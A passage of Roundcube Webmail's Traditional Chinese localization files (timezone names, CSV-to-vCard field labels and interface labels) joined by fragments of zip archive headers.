$labels['tz:asia:tbilisi'] = '第比利斯';
$labels['tz:asia:tehran'] = '德黑蘭';
$labels['tz:asia:thimphu'] = '廷布';
$labels['tz:asia:tokyo'] = '東京';
$labels['tz:asia:tomsk'] = '托木斯克';
$labels['tz:asia:ulaanbaatar'] = '烏蘭巴托';
$labels['tz:asia:urumqi'] = '烏魯木齊';
$labels['tz:asia:ust-nera'] = '烏斯季涅拉';
$labels['tz:asia:vientiane'] = '永珍';
$labels['tz:asia:vladivostok'] = '海參崴';
$labels['tz:asia:yakutsk'] = '雅庫茨克';
$labels['tz:asia:yangon'] = '仰光';
$labels['tz:asia:yekaterinburg'] = '葉卡捷琳堡';
$labels['tz:asia:yerevan'] = '葉里溫';
$labels['tz:atlantic'] = '大西洋';
$labels['tz:atlantic:azores'] = '亞速群島';
$labels['tz:atlantic:bermuda'] = '百慕達';
$labels['tz:atlantic:canary'] = '加那利群島';
$labels['tz:atlantic:cape_verde'] = '維德角';
$labels['tz:atlantic:faroe'] = '法羅群島';
$labels['tz:atlantic:madeira'] = '馬德拉';
$labels['tz:atlantic:reykjavik'] = '雷克雅未克';
$labels['tz:atlantic:south_georgia'] = '南喬治亞島';
$labels['tz:atlantic:st_helena'] = '聖赫倫那島';
$labels['tz:atlantic:stanley'] = '史坦利';
$labels['tz:australia'] = '澳洲';
$labels['tz:australia:adelaide'] = '亞德萊德';
$labels['tz:australia:brisbane'] = '布里斯本';
$labels['tz:australia:broken_hill'] = '布羅肯希爾';
$labels['tz:australia:currie'] = '克黎';
$labels['tz:australia:darwin'] = '達爾文';
$labels['tz:australia:eucla'] = '尤克拉';
$labels['tz:australia:hobart'] = '荷伯特';
$labels['tz:australia:lindeman'] = '利達民';
$labels['tz:australia:lord_howe'] = '豪勳爵島';
$labels['tz:australia:melbourne'] = '墨爾本';
$labels['tz:australia:perth'] = '珀斯';
$labels['tz:australia:sydney'] = '雪梨';
$labels['tz:europe'] = '歐洲';
$labels['tz:europe:amsterdam'] = '阿姆斯特丹';
$labels['tz:europe:andorra'] = '安道爾';
$labels['tz:europe:astrakhan'] = '阿斯特拉罕';
$labels['tz:europe:athens'] = '雅典';
$labels['tz:europe:belgrade'] = '貝爾格萊德';
$labels['tz:europe:berlin'] = '柏林';
$labels['tz:europe:bratislava'] = '布拉迪斯拉發';
$labels['tz:europe:brussels'] = '布魯塞爾';
$labels['tz:europe:bucharest'] = '布加勒斯特';
$labels['tz:europe:budapest'] = '布達佩斯';
$labels['tz:europe:busingen'] = '布辛根';
$labels['tz:europe:chisinau'] = '基施紐';
$labels['tz:europe:copenhagen'] = '哥本哈根';
$labels['tz:europe:dublin'] = '都柏林';
$labels['tz:europe:gibraltar'] = '直布羅陀';
$labels['tz:europe:guernsey'] = '耿西島';
$labels['tz:europe:helsinki'] = '赫爾辛基';
$labels['tz:europe:isle_of_man'] = '曼島';
$labels['tz:europe:istanbul'] = '伊斯坦堡';
$labels['tz:europe:jersey'] = '耿西島';
$labels['tz:europe:kaliningrad'] = '加里寧格勒';
$labels['tz:europe:kiev'] = '基輔';
$labels['tz:europe:kirov'] = '基洛夫';
$labels['tz:europe:lisbon'] = '里斯本';
$labels['tz:europe:ljubljana'] = '盧布爾雅那';
$labels['tz:europe:london'] = '倫敦';
$labels['tz:europe:luxembourg'] = '盧森堡';
$labels['tz:europe:madrid'] = '馬德里';
$labels['tz:europe:malta'] = '馬爾他';
$labels['tz:europe:mariehamn'] = '瑪麗港';
$labels['tz:europe:minsk'] = '明斯克';
$labels['tz:europe:monaco'] = '摩納哥';
$labels['tz:europe:moscow'] = '莫斯科';
$labels['tz:europe:oslo'] = '奧斯陸';
$labels['tz:europe:paris'] = '巴黎';
$labels['tz:europe:podgorica'] = '波德里查';
$labels['tz:europe:prague'] = '布拉格';
$labels['tz:europe:riga'] = '里加';
$labels['tz:europe:rome'] = '羅馬';
$labels['tz:europe:samara'] = '薩馬拉';
$labels['tz:europe:san_marino'] = '聖馬力諾';
$labels['tz:europe:sarajevo'] = '薩拉熱窩';
$labels['tz:europe:saratov'] = '薩拉托夫';
$labels['tz:europe:simferopol'] = '辛菲洛普';
$labels['tz:europe:skopje'] = '史高比耶';
$labels['tz:europe:sofia'] = '索菲亞';
$labels['tz:europe:stockholm'] = '斯德哥爾摩';
$labels['tz:europe:tallinn'] = '塔林';
$labels['tz:europe:tirane'] = '地拉那';
$labels['tz:europe:ulyanovsk'] = '烏里揚諾夫斯克';
$labels['tz:europe:uzhgorod'] = '烏日霍羅德';
$labels['tz:europe:vaduz'] = '華杜茲';
$labels['tz:europe:vatican'] = '梵蒂岡';
$labels['tz:europe:vienna'] = '維也納';
$labels['tz:europe:vilnius'] = '維爾紐斯';
$labels['tz:europe:volgograd'] = '伏爾加格勒';
$labels['tz:europe:warsaw'] = '華沙';
$labels['tz:europe:zagreb'] = '薩格勒布';
$labels['tz:europe:zaporozhye'] = '札波羅結';
$labels['tz:europe:zurich'] = '蘇黎世';
$labels['tz:indian'] = '印度洋';
$labels['tz:indian:antananarivo'] = '安塔那那列佛';
$labels['tz:indian:chagos'] = '查戈斯群島';
$labels['tz:indian:christmas'] = '聖誕節島';
$labels['tz:indian:cocos'] = '科科斯群島';
$labels['tz:indian:comoro'] = '葛摩';
$labels['tz:indian:kerguelen'] = '凱爾蓋朗群島';
$labels['tz:indian:mahe'] = '馬埃島';
$labels['tz:indian:maldives'] = '馬爾地夫';
$labels['tz:indian:mauritius'] = '模里西斯';
$labels['tz:indian:mayotte'] = '馬約特';
$labels['tz:indian:reunion'] = '留尼旺';
$labels['tz:pacific'] = '太平洋';
$labels['tz:pacific:apia'] = '阿皮亞';
$labels['tz:pacific:auckland'] = '奧克蘭';
$labels['tz:pacific:bougainville'] = '布干維爾島';
$labels['tz:pacific:chatham'] = '查塔姆';
$labels['tz:pacific:chuuk'] = '楚克';
$labels['tz:pacific:easter'] = '復活節島';
$labels['tz:pacific:efate'] = '埃法特島';
$labels['tz:pacific:enderbury'] = '恩德伯里島';
$labels['tz:pacific:fakaofo'] = '法考福環礁';
$labels['tz:pacific:fiji'] = '斐濟';
$labels['tz:pacific:funafuti'] = '富納富提';
$labels['tz:pacific:galapagos'] = '科隆群島';
$labels['tz:pacific:gambier'] = '甘比爾群島';
$labels['tz:pacific:guadalcanal'] = '瓜達康納爾島';
$labels['tz:pacific:guam'] = '關島';
$labels['tz:pacific:honolulu'] = '檀香山';
$labels['tz:pacific:johnston'] = '強斯頓環礁';
$labels['tz:pacific:kiritimati'] = '聖誕島';
$labels['tz:pacific:kosrae'] = '科斯雷';
$labels['tz:pacific:kwajalein'] = '瓜加林環礁';
$labels['tz:pacific:majuro'] = '馬久羅';
$labels['tz:pacific:marquesas'] = '馬克薩斯群島';
$labels['tz:pacific:midway'] = '中途島';
$labels['tz:pacific:nauru'] = '瑙魯';
$labels['tz:pacific:niue'] = '紐埃';
$labels['tz:pacific:norfolk'] = '諾福克島';
$labels['tz:pacific:noumea'] = '諾美亞';
$labels['tz:pacific:pago_pago'] = '巴哥巴哥';
$labels['tz:pacific:palau'] = '帛琉';
$labels['tz:pacific:pitcairn'] = '皮特肯群島';
$labels['tz:pacific:pohnpei'] = '澎貝島';
$labels['tz:pacific:port_moresby'] = '莫爾茲比港';
$labels['tz:pacific:rarotonga'] = '拉羅湯加島';
$labels['tz:pacific:saipan'] = '塞班島';
$labels['tz:pacific:tahiti'] = '大溪地';
$labels['tz:pacific:tarawa'] = '塔拉瓦環礁';
$labels['tz:pacific:tongatapu'] = '湯加塔布島';
$labels['tz:pacific:wake'] = '威克島';
$labels['tz:pacific:wallis'] = '沃利斯群島';
PK
h�\��e���(program/localization/zh_TW/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/zh_TW/csv2vcard.inc                                      |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2012, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "紀念日";
$map['assistants_name'] = "助理";
$map['assistants_phone'] = "助理電話";
$map['birthday'] = "生日";
$map['business_city'] = "商務 - 市/鎮";
$map['business_countryregion'] = "商務 - 國家/地區";
$map['business_fax'] = "商務傳真";
$map['business_phone'] = "商務電話";
$map['business_phone_2'] = "商務電話 2";
$map['business_postal_code'] = "商務 - 郵遞區號";
$map['business_state'] = "商務 - 縣市";
$map['business_street'] = "商務 - 街";
$map['car_phone'] = "汽車電話";
$map['categories'] = "類別";
$map['company'] = "公司";
$map['department'] = "部門";
$map['email_address'] = "電子郵件地址";
$map['first_name'] = "名字";
$map['gender'] = "性別";
$map['home_city'] = "住家 - 市/鎮";
$map['home_countryregion'] = "住家 - 國家/地區";
$map['home_fax'] = "住家傳真";
$map['home_phone'] = "住家電話";
$map['home_phone_2'] = "住家電話 2";
$map['home_postal_code'] = "住家 - 郵遞區號";
$map['home_state'] = "住家 - 縣/市";
$map['home_street'] = "住家 - 街";
$map['job_title'] = "職稱";
$map['last_name'] = "姓氏";
$map['managers_name'] = "主管名稱";
$map['middle_name'] = "中間名";
$map['mobile_phone'] = "行動電話";
$map['notes'] = "記事";
$map['other_city'] = "其他 - 市/鎮";
$map['other_countryregion'] = "其他 - 國家/地區";
$map['other_fax'] = "其他傳真";
$map['other_phone'] = "其他電話";
$map['other_postal_code'] = "其他 - 郵遞區號";
$map['other_state'] = "其他 - 縣/市";
$map['other_street'] = "其他 - 街";
$map['pager'] = "呼叫器";
$map['primary_phone'] = "代表電話";
$map['spouse'] = "配偶";
$map['suffix'] = "稱謂";
$map['title'] = "頭銜";
$map['web_page'] = "網頁";
$map['last'] = "姓";
$map['first'] = "名";
$map['birth_day'] = "生日 (日)";
$map['birth_month'] = "生日 (月)";
$map['birth_year'] = "生日 (年)";
$map['display_name'] = "顯示名稱";
$map['fax_number'] = "傳真號碼";
$map['home_address'] = "住家住址";
$map['home_country'] = "居住國家";
$map['home_zipcode'] = "住址郵遞區號";
$map['mobile_number'] = "手機號碼";
$map['nickname'] = "暱稱";
$map['organization'] = "Organization";
$map['pager_number'] = "呼叫器號碼";
$map['primary_email'] = "主要 Email";
$map['secondary_email'] = "次要 Email";
$map['web_page_1'] = "網頁 1";
$map['web_page_2'] = "網頁 2";
$map['work_phone'] = "商務電話";
$map['work_address'] = "商務地址";
$map['work_country'] = "商務國家";
$map['work_zipcode'] = "商務郵遞區號";
$map['work_city'] = "商務市鎮";
$map['work_state'] = "商務縣市";
$map['home_city_short'] = "居住市鎮";
$map['home_state_short'] = "居住縣市";
PK
h�\�Ђ�}�}%program/localization/zh_TW/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '歡迎使用 $product';
$labels['username'] = '使用者名稱';
$labels['password'] = '使用者密碼';
$labels['server'] = '伺服器';
$labels['login'] = '登入';
$labels['oauthlogin'] = '使用 $provider 登入';
$labels['menu'] = '選單';
$labels['logout'] = '登出';
$labels['mail'] = '電子郵件';
$labels['settings'] = '設定';
$labels['addressbook'] = '通訊錄';
$labels['darkmode'] = '深色模式';
$labels['lightmode'] = '淺色模式';
$labels['inbox'] = '收件匣';
$labels['drafts'] = '草稿匣';
$labels['sent'] = '寄件備份';
$labels['trash'] = '垃圾桶';
$labels['junk'] = '垃圾郵件';
$labels['show_real_foldernames'] = '顯示特殊資料夾的實際名稱';
$labels['subject'] = '主旨';
$labels['from'] = '寄件者';
$labels['sender'] = '寄件者';
$labels['to'] = '收件者';
$labels['cc'] = '副本';
$labels['bcc'] = '密件副本';
$labels['replyto'] = '回覆至';
$labels['followupto'] = '郵件列表回覆地址';
$labels['date'] = '日期';
$labels['size'] = '大小';
$labels['priority'] = '優先次序';
$labels['organization'] = '組織/公司';
$labels['readstatus'] = '讀信狀態';
$labels['listoptions'] = '列表選項...';
$labels['listoptionstitle'] = '列表選項';
$labels['mailboxlist'] = '資料夾';
$labels['messagesfromto'] = '郵件 $from 至 $to,共 $count 封';
$labels['threadsfromto'] = '郵件串 $from 至 $to,共 $count 個';
$labels['messagenrof'] = '第 $nr 封郵件,共有 $count 封';
$labels['fromtoshort'] = '$from – $to 共 $count 個';
$labels['copy'] = '複製';
$labels['move'] = '移動';
$labels['moveto'] = '移至...';
$labels['copyto'] = '複製到...';
$labels['download'] = '下載';
$labels['open'] = '開啟';
$labels['showattachment'] = '顯示';
$labels['showanyway'] = '總是顯示';
$labels['filename'] = '檔案名稱';
$labels['filesize'] = '檔案大小';
$labels['addtoaddressbook'] = '新增至通訊錄';
$labels['sun'] = '週日';
$labels['mon'] = '週一';
$labels['tue'] = '週二';
$labels['wed'] = '週三';
$labels['thu'] = '週四';
$labels['fri'] = '週五';
$labels['sat'] = '週六';
$labels['sunday'] = '星期日';
$labels['monday'] = '星期一';
$labels['tuesday'] = '星期二';
$labels['wednesday'] = '星期三';
$labels['thursday'] = '星期四';
$labels['friday'] = '星期五';
$labels['saturday'] = '星期六';
$labels['jan'] = '一';
$labels['feb'] = '二';
$labels['mar'] = '三';
$labels['apr'] = '四';
$labels['may'] = '五';
$labels['jun'] = '六';
$labels['jul'] = '七';
$labels['aug'] = '八';
$labels['sep'] = '九';
$labels['oct'] = '十';
$labels['nov'] = '十一';
$labels['dec'] = '十二';
$labels['longjan'] = '1 月';
$labels['longfeb'] = '2 月';
$labels['longmar'] = '3 月';
$labels['longapr'] = '4 月';
$labels['longmay'] = '5 月';
$labels['longjun'] = '6 月';
$labels['longjul'] = '7 月';
$labels['longaug'] = '8 月';
$labels['longsep'] = '9 月';
$labels['longoct'] = '10 月';
$labels['longnov'] = '11 月';
$labels['longdec'] = '12 月';
$labels['today'] = '今日';
$labels['refresh'] = '重新整理';
$labels['checkmail'] = '檢查新郵件';
$labels['compose'] = '撰寫新郵件';
$labels['writenewmessage'] = '撰寫新郵件';
$labels['reply'] = '回覆';
$labels['replytomessage'] = '回覆';
$labels['replytoallmessage'] = '全部回覆';
$labels['replyall'] = '全部回覆';
$labels['replylist'] = '清單回覆';
$labels['forward'] = '轉寄';
$labels['forwardinline'] = '以內文方式轉寄';
$labels['forwardattachment'] = '以附件方式轉寄';
$labels['forwardmessage'] = '轉寄';
$labels['bouncemsg'] = '重寄 (退回郵件)';
$labels['bounce'] = '重寄';
$labels['deletemessage'] = '刪除郵件';
$labels['movemessagetotrash'] = '移動郵件至垃圾桶';
$labels['printmessage'] = '列印此郵件';
$labels['previousmessage'] = '顯示上一封郵件';
$labels['firstmessage'] = '顯示第一封郵件';
$labels['nextmessage'] = '顯示下一封郵件';
$labels['lastmessage'] = '顯示最後一封郵件';
$labels['backtolist'] = '回到郵件清單';
$labels['viewsource'] = '顯示郵件原始內容';
$labels['mark'] = '標記';
$labels['markmessages'] = '標記選取的郵件';
$labels['markread'] = '標示為已讀取';
$labels['markunread'] = '標示為未讀取';
$labels['markflagged'] = '標上旗標';
$labels['markunflagged'] = '移除旗標';
$labels['moreactions'] = '更多動作...';
$labels['markallread'] = '全部標示為已讀取';
$labels['folders-cur'] = '僅選取的資料夾';
$labels['folders-sub'] = '選取的資料夾及其子資料夾';
$labels['folders-all'] = '所有資料夾';
$labels['more'] = '更多';
$labels['back'] = '返回';
$labels['options'] = '選項';
$labels['composeoptions'] = '撰寫選項';
$labels['optionsandattachments'] = '選項及附件';
$labels['actions'] = '動作';
$labels['first'] = '第一個';
$labels['last'] = '最後一個';
$labels['previous'] = '前一個';
$labels['next'] = '後一個';
$labels['select'] = '選取';
$labels['selection'] = '選取範圍';
$labels['all'] = '全部郵件';
$labels['none'] = '無';
$labels['currpage'] = '目前頁面';
$labels['isread'] = '已讀';
$labels['unread'] = '未讀取的郵件';
$labels['flagged'] = '已加旗標';
$labels['unflagged'] = '無旗標';
$labels['unanswered'] = '未回覆的郵件';
$labels['withattachment'] = '包含附件';
$labels['deleted'] = '已刪除的郵件';
$labels['undeleted'] = '未刪除的郵件';
$labels['replied'] = '已回覆';
$labels['forwarded'] = '已轉寄';
$labels['invert'] = '反選';
$labels['filter'] = '篩選範圍';
$labels['list'] = '清單';
$labels['threads'] = '郵件串';
$labels['expand-all'] = '全部展開';
$labels['expand-unread'] = '展開未讀取';
$labels['collapse-all'] = '全部收起';
$labels['threaded'] = '郵件串';
$labels['showunread'] = '顯示未讀郵件';
$labels['autoexpand_threads'] = '展開郵件串';
$labels['do_expand'] = '所有郵件串';
$labels['expand_only_unread'] = '只展開未讀郵件';
$labels['fromto'] = '寄件者/收件者';
$labels['flag'] = '旗標';
$labels['attachment'] = '附件';
$labels['nonesort'] = '無';
$labels['sentdate'] = '寄送時間';
$labels['arrival'] = '到達時間';
$labels['asc'] = '遞增';
$labels['desc'] = '遞減';
$labels['listcolumns'] = '列出欄位';
$labels['listsorting'] = '排序欄位';
$labels['listorder'] = '排序順序';
$labels['listmode'] = '列表檢視模式';
$labels['lmode'] = '列表模式';
$labels['layout'] = '畫面配置';
$labels['layoutwidescreen'] = '寬螢幕';
$labels['layoutdesktop'] = '桌面';
$labels['layoutlist'] = '清單';
$labels['layoutwidescreendesc'] = '寬螢幕 (3欄檢視)';
$labels['layoutdesktopdesc'] = '桌面 (寬列表,下面是郵件預覽)';
$labels['layoutlistdesc'] = '列表 (無郵件預覽)';
$labels['folderactions'] = '資料夾動作...';
$labels['compact'] = '壓緊';
$labels['empty'] = '清空';
$labels['importmessages'] = '匯入郵件';
$labels['mailimportdesc'] = '可以用 <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> 或 <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> 格式檔案上傳郵件。';
$labels['mailimportzip'] = '多個檔案可以壓縮為 ZIP 檔案。';
$labels['quota'] = '磁碟使用量';
$labels['unknown'] = '未知';
$labels['unlimited'] = '無限制';
$labels['quotatype'] = '配額類型';
$labels['quotatotal'] = '上限';
$labels['quotaused'] = '已使用';
$labels['quotastorage'] = '儲存空間';
$labels['quotamessage'] = '郵件數目';
$labels['shortheaderdate'] = '於 $date';
$labels['shortheaderto'] = '於 $date,寄給 $to';
$labels['shortheaderfrom'] = '於 $date,寄自 $from';
$labels['quicksearch'] = '快速搜尋';
$labels['searchplaceholder'] = '搜尋...';
$labels['resetsearch'] = '重設搜尋';
$labels['searchmod'] = '修改搜尋';
$labels['msgtext'] = '整封郵件';
$labels['body'] = '內文';
$labels['type'] = '類型';
$labels['namex'] = '名稱';
$labels['searchscope'] = '範圍';
$labels['currentfolder'] = '目前的資料夾';
$labels['subfolders'] = '目前的資料夾 (含子資料夾)';
$labels['allfolders'] = '所有資料夾';
$labels['searchinterval-1W'] = '超過一週';
$labels['searchinterval-1M'] = '超過一個月';
$labels['searchinterval-1Y'] = '超過一年';
$labels['searchinterval1W'] = '一週之內';
$labels['searchinterval1M'] = '一個月之內';
$labels['searchinterval1Y'] = '一年之內';
$labels['openinextwin'] = '在新視窗開啟';
$labels['emlsave'] = '下載 (.eml)';
$labels['changeformattext'] = '以純文字格式顯示';
$labels['changeformathtml'] = '以 HTML 格式顯示';
$labels['editasnew'] = '以新郵件編輯';
$labels['send'] = '寄出';
$labels['sendmessage'] = '立即寄出';
$labels['savemessage'] = '儲存成草稿';
$labels['addattachment'] = '加入附件檔案';
$labels['charset'] = '郵件編碼';
$labels['editortype'] = '編輯器類型';
$labels['returnreceipt'] = '要求讀取回條';
$labels['dsn'] = '傳送狀態通知';
$labels['mailreplyintro'] = '$sender 於 $date 寫到:';
$labels['originalmessage'] = '原始郵件';
$labels['selectimage'] = ' 選擇圖片';
$labels['addimage'] = '加入圖片';
$labels['selectmedia'] = '選擇影片';
$labels['addmedia'] = '加入影片';
$labels['encrypt'] = '加密';
$labels['encryptmessage'] = '加密郵件';
$labels['encryptmessagemailvelope'] = '以 Mailvelope 加密郵件';
$labels['importpubkeys'] = '匯入公鑰';
$labels['encryptedsendialog'] = '發送加密郵件';
$labels['encryptandsign'] = '加密並簽署';
$labels['keyid'] = '金鑰 ID';
$labels['keylength'] = '位元';
$labels['keyexpired'] = '已過期';
$labels['keyrevoked'] = '已撤銷';
$labels['bccinstead'] = '使用「密件副本」';
$labels['addheader'] = '加入收件者 (標頭)';
$labels['insert'] = '插入';
$labels['insertcontact'] = '插入聯絡人';
$labels['recipient'] = '收件者';
$labels['recipientedit'] = '收件者編輯';
$labels['editidents'] = '編輯身份資訊';
$labels['spellcheck'] = '拼字';
$labels['checkspelling'] = '拼字檢查';
$labels['resumeediting'] = '繼續編輯';
$labels['revertto'] = '恢復至';
$labels['restore'] = '回復';
$labels['restoremessage'] = '回復郵件?';
$labels['ignore'] = ' 忽略';
$labels['responses'] = '預設回應';
$labels['insertresponse'] = '插入預設回應';
$labels['manageresponses'] = '管理預設回應';
$labels['newresponse'] = '建立預設回應';
$labels['addresponse'] = ' 加入預設回應';
$labels['editresponse'] = '編輯預設回應';
$labels['editresponses'] = '編輯預設回應';
$labels['responsename'] = '名稱';
$labels['responsetext'] = '預設回應內容';
$labels['attach'] = '附件';
$labels['attachments'] = '附件檔案';
$labels['upload'] = '上傳';
$labels['uploadprogress'] = '$percent ($total 中的 $current)';
$labels['close'] = '關閉';
$labels['messageoptions'] = '郵件選項...';
$labels['togglecomposeoptions'] = ' 切換撰寫選項';
$labels['attachmentrename'] = '重新命名附件';
$labels['low'] = '低';
$labels['lowest'] = '最低';
$labels['normal'] = '普通';
$labels['high'] = '高';
$labels['highest'] = '最高';
$labels['nosubject'] = '(沒有主旨)';
$labels['showimages'] = '顯示圖片';
$labels['allow'] = '允許';
$labels['alwaysshow'] = '總是顯示來自 $sender 的圖片';
$labels['alwaysallow'] = '必定允許寄自 $sender 的郵件';
$labels['isdraft'] = '這是草稿';
$labels['andnmore'] = '第$nr封或是更多...';
$labels['details'] = '詳情';
$labels['summary'] = '概覽';
$labels['headers'] = '標頭';
$labels['allheaders'] = '所有標頭...';
$labels['togglemoreheaders'] = '顯示更多的郵件標頭';
$labels['togglefullheaders'] = '切換原始郵件標頭';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = '純文字';
$labels['savesentmessagein'] = '儲存寄件備份至';
$labels['dontsave'] = '不要儲存';
$labels['maxuploadsize'] = '上傳檔案大小限制為 $size';
$labels['addcc'] = '新增副本';
$labels['addbcc'] = '新增密件副本';
$labels['addreplyto'] = '新增回覆地址';
$labels['addfollowupto'] = '新增郵件列表回覆地址';
$labels['sendreceipt'] = '傳送讀取回條?';
$labels['mdnrequest'] = '此郵件的寄件者希望在你閱讀此郵件時受到通知。你想要通知寄件者嗎?';
$labels['receiptread'] = '郵件回條(已閱讀)';
$labels['yourmessage'] = '這是你郵件的郵件回條';
$labels['receiptnote'] = '注意:此回條只能確認收件者的電腦顯示了郵件,並不能保證收件者已閱讀或了解郵件的內容。';
$labels['sendalwaysto'] = '總是傳送給 $email';
$labels['zoomin'] = '放大';
$labels['zoomout'] = '縮小';
$labels['rotate'] = '旋轉';
$labels['increaseimage'] = '放大圖像';
$labels['decreaseimage'] = '縮小圖像';
$labels['rotateimage'] = '旋轉圖像';
$labels['showtools'] = '顯示圖像工具';
$labels['hidetools'] = '隱藏圖像工具';
$labels['name'] = '顯示名稱';
$labels['firstname'] = '名字';
$labels['surname'] = '姓氏';
$labels['middlename'] = '中名';
$labels['nameprefix'] = '頭銜 (例如 Dr.)';
$labels['namesuffix'] = '後綴 (例如 Jr.)';
$labels['nickname'] = '暱稱';
$labels['jobtitle'] = '職位';
$labels['department'] = '部門';
$labels['gender'] = '性別';
$labels['maidenname'] = '閨姓';
$labels['email'] = '電子郵件';
$labels['phone'] = '電話';
$labels['address'] = '地址';
$labels['street'] = '街道';
$labels['locality'] = '城市';
$labels['zipcode'] = '郵遞區號';
$labels['region'] = '州/省';
$labels['country'] = '國家/地區';
$labels['birthday'] = '生日';
$labels['anniversary'] = '周年紀念日';
$labels['website'] = '網站';
$labels['instantmessenger'] = '即時通訊';
$labels['notes'] = '註解';
$labels['male'] = '男';
$labels['female'] = '女';
$labels['manager'] = '上司';
$labels['assistant'] = '助理';
$labels['spouse'] = '配偶';
$labels['allfields'] = '所有欄位';
$labels['search'] = '搜尋';
$labels['searchresult'] = ' 搜尋結果';
$labels['advsearch'] = '進階搜尋';
$labels['advanced'] = '進階';
$labels['other'] = '其他';
$labels['printcontact'] = ' 列印聯絡人';
$labels['qrcode'] = 'QR 碼';
$labels['typehome'] = '住家';
$labels['typework'] = '工作';
$labels['typeother'] = '其他';
$labels['typemobile'] = '行動電話';
$labels['typemain'] = '主要';
$labels['typehomefax'] = '住家傳真';
$labels['typeworkfax'] = '工作傳真';
$labels['typecar'] = '汽車';
$labels['typepager'] = '傳呼機';
$labels['typevideo'] = '影片';
$labels['typeassistant'] = '助理';
$labels['typehomepage'] = '首頁';
$labels['typeblog'] = '部落格';
$labels['typeprofile'] = '設定檔';
$labels['addfield'] = '加入欄位...';
$labels['addcontact'] = '加入聯絡人';
$labels['editcontact'] = '編輯聯絡人';
$labels['contacts'] = '聯絡人';
$labels['contactproperties'] = '聯絡人資訊';
$labels['contactnameandorg'] = ' 姓名和組織/公司';
$labels['personalinfo'] = '個人資訊';
$labels['personal'] = '個人';
$labels['contactphoto'] = '聯絡人相片';
$labels['edit'] = '編輯';
$labels['cancel'] = '取消';
$labels['save'] = '儲存';
$labels['delete'] = '刪除';
$labels['discard'] = '丟棄';
$labels['continue'] = '繼續';
$labels['ok'] = '確定';
$labels['rename'] = '重新命名';
$labels['addphoto'] = '加入';
$labels['replacephoto'] = '取代';
$labels['uploadphoto'] = '上傳相片';
$labels['choosefile'] = '選擇檔案...';
$labels['choosefiles'] = '選擇檔案...';
$labels['browse'] = '瀏覽';
$labels['newcontact'] = ' 新建聯絡人';
$labels['deletecontact'] = '刪除所選擇的聯絡人';
$labels['composeto'] = '寄信至所選擇的聯絡人';
$labels['contactsfromto'] = '聯絡人 $from 至 $to,共 $count 人';
$labels['print'] = '列印';
$labels['export'] = '匯出';
$labels['exportall'] = '全部匯出';
$labels['exportsel'] = '匯出所選項目';
$labels['exportvcards'] = '匯出通訊錄為 vCard 格式';
$labels['newgroup'] = '新建群組';
$labels['addgroup'] = '加入群組';
$labels['grouprename'] = '重新命名群組';
$labels['groupdelete'] = '刪除群組';
$labels['groupassign'] = '分配到群組...';
$labels['groupremove'] = '從群組移除';
$labels['groupremoveselected'] = '於群組刪除所選的聯絡人';
$labels['uponelevel'] = '回到上一層';
$labels['previouspage'] = '顯示上一頁';
$labels['firstpage'] = '顯示第一頁';
$labels['nextpage'] = '顯示下一頁';
$labels['lastpage'] = '顯示最後一頁';
$labels['group'] = '群組';
$labels['groups'] = '群組';
$labels['listgroup'] = '列出群組成員';
$labels['personaladrbook'] = '個人通訊錄';
$labels['searchsave'] = '儲存搜尋結果';
$labels['searchdelete'] = '刪除搜尋結果';
$labels['import'] = '匯入';
$labels['importcontacts'] = '匯入聯絡人';
$labels['importfromfile'] = '從檔案匯入';
$labels['importtarget'] = '新增聯絡人到';
$labels['importreplace'] = '取代整個通訊錄';
$labels['importgroups'] = '匯入群組';
$labels['importgroupsall'] = '全部 (必要時新增群組)';
$labels['importgroupsexisting'] = '僅限於既有群組';
$labels['importdesc'] = '可以上傳通訊錄的所有聯絡人。<br/>現時支援 <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> 或 CSV 格式。';
$labels['importmapdesc'] = '在繼續進行 CSV(逗號分隔)資料匯入前,請先確認下方的欄位對映資訊正確無誤。';
$labels['fieldnotmapped'] = '欄位未對映(不匯入)';
$labels['skipheader'] = '不匯入第一行(標頭)';
$labels['done'] = '完成';
$labels['settingsfor'] = '設定';
$labels['about'] = '關於';
$labels['preferences'] = '設定';
$labels['userpreferences'] = '個人設定';
$labels['editpreferences'] = '編輯個人設定';
$labels['identities'] = '身份資訊';
$labels['manageidentities'] = '管理識別身份';
$labels['newidentity'] = '新增識別身份';
$labels['addidentity'] = '加入識別身份';
$labels['editidentity'] = '編輯識別身份';
$labels['identityencryption'] = '加密';
$labels['preferhtml'] = '使用 HTML 顯示';
$labels['defaultcharset'] = '預設編碼';
$labels['htmlmessage'] = 'HTML 郵件';
$labels['messagepart'] = '部分';
$labels['digitalsig'] = '數位簽章';
$labels['dateformat'] = '日期格式';
$labels['timeformat'] = '時間格式';
$labels['prettydate'] = '簡短日期顯示';
$labels['setdefault'] = '設成預設值';
$labels['autodetect'] = '自動選擇';
$labels['language'] = '語言';
$labels['timezone'] = '時區';
$labels['pagesize'] = '每頁顯示列數';
$labels['signature'] = '簽名檔';
$labels['dstactive'] = '日光節約時間';
$labels['showinextwin'] = '在新視窗顯示郵件';
$labels['composeextwin'] = '在新視窗撰寫郵件';
$labels['htmleditor'] = '使用 HTML 撰寫郵件';
$labels['htmlonreply'] = '僅在回覆 HTML 信件時';
$labels['htmlonreplyandforward'] = '僅在轉寄或回覆 HTML 信件時';
$labels['htmlsignature'] = 'HTML 簽名檔';
$labels['showemail'] = '一併顯示名稱和電郵地址';
$labels['previewpane'] = '顯示預覽窗格';
$labels['skin'] = '版面風格';
$labels['logoutclear'] = '登出時清空垃圾桶';
$labels['logoutcompact'] = '登出時壓緊收件匣';
